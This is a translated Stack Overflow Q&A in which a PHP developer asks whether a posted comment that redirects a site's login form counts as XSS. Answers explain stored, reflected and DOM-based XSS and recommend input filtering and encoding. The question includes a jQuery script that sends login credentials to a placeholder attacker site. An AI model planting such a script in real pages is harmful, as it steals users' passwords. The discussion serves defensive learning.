用户输入的HTML是否使用Javascript显示给其他人但不是HTML转义的XSS示例

Ale*_*lan 12 html javascript php xss

我是一名PHP开发人员,我正在寻求提高我网站的安全性.

据我所知,以下是影响Web应用程序的两种主要类型的漏洞:

  • SQL注入
  • XSS

可以使用预准备语句修复SQL注入 - 简单.

但我仍然没有真正得到XSS - 以下是XSS的一个例子吗?...

  • 完整的用户制作内容页面顶部有一个登录表单(站点范围内).
  • 用户对页面的输入不是HTML转义的.
  • 用户将以下内容(例如评论)发布到页面...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
Run Code Online (Sandbox Code Playgroud)
  • 一个无辜的用户来到页面,脚本执行.
  • 无辜的用户意识到他们没有登录,并在表单中输入他们的详细信息.
  • 发送用户的详细信息http://somehackysite.com/givemyourpw.php,然后用户的帐户详细信息被盗.

所以我在这里有三个问题:

  1. 这会有用吗?
  2. 这是XSS吗?
  3. 除了转义HTML之外,开发人员应该采取哪些预防措施来对抗XSS?

Sko*_*lor 5

XSS攻击有两种类型:反射XSS攻击和持久XSS攻击.您所描述的内容,即站点用户输入在服务器端保存的数据,并为查看页面的任何人呈现的数据被视为持久性XSS.类似的攻击将是如果你的帖子上有一个没有逃脱Javascript的评论框,或者我可以放入任何内容的个人资料页面.

另一类XSS攻击是Reflected XSS.这些稍微复杂一点,但它们相当于URL中没有被转义的参数之一.他们经常出现在大型网站上搜索页面等内容.你会得到一个包含一些javascript的URL(对不起,我的例子在这里被渲染器破坏了,所以我无法向你展示一个例子),页面将呈现允许某人制作恶意的javascript URL.这些在提供任何财务数据的网站上尤其危险; 想象一个尽职​​尽责的用户总是检查以确保他们要去他们银行的写链接,但是由于反映的XSS攻击,攻击者能够将他们发送到他们银行网站上的合法页面,但这有恶意代码在里面.

无论如何,您的示例是Persistent XSS.你可以通过这样的攻击做更多邪恶的事情,而不仅仅是改变登录表单发送用户的位置.他们多年来一直很受欢迎,比如从网站的个人区域抓取信息,或者与CSRF结合使用,只需查看页面就可以让经过身份验证的用户做一些事情.之前有一些MySpace病毒可以做到这一点,并从配置文件传播到配置文件.


Gum*_*mbo 5

这是XSS吗?

是的,这通常是一个注入缺陷,在这个特殊情况下会被称为XSS漏洞,因为它是注入的JavaScript.

但是这种注入缺陷,其中一个用户的输入被反映给其他用户而没有任何改变,也可能导致其他攻击,如污损.

这会有用吗?

是的,这很有可能,因为它是服务此代码的原始服务器,就像网页中的任何其他代码一样.所以这就像网站的作者是这个代码的创始人一样,也将被对待.

除了转义HTML之外,开发人员应该采取哪些预防措施来对抗XSS?

实际上有三种不同类型的XSS:基于DOM的XSS,Reflected XSSStored/persistent XSS.您的示例是存储/持久XSS漏洞,因为服务器会在每个请求中部署漏洞.

一般规则是不信任任何用户输入.这表示应该允许有效的用户输入或者在输出之前过滤用户输入(删除无效值)或正确编码(转换无效值).有关详细信息,请参阅OWASP的XSS备忘单.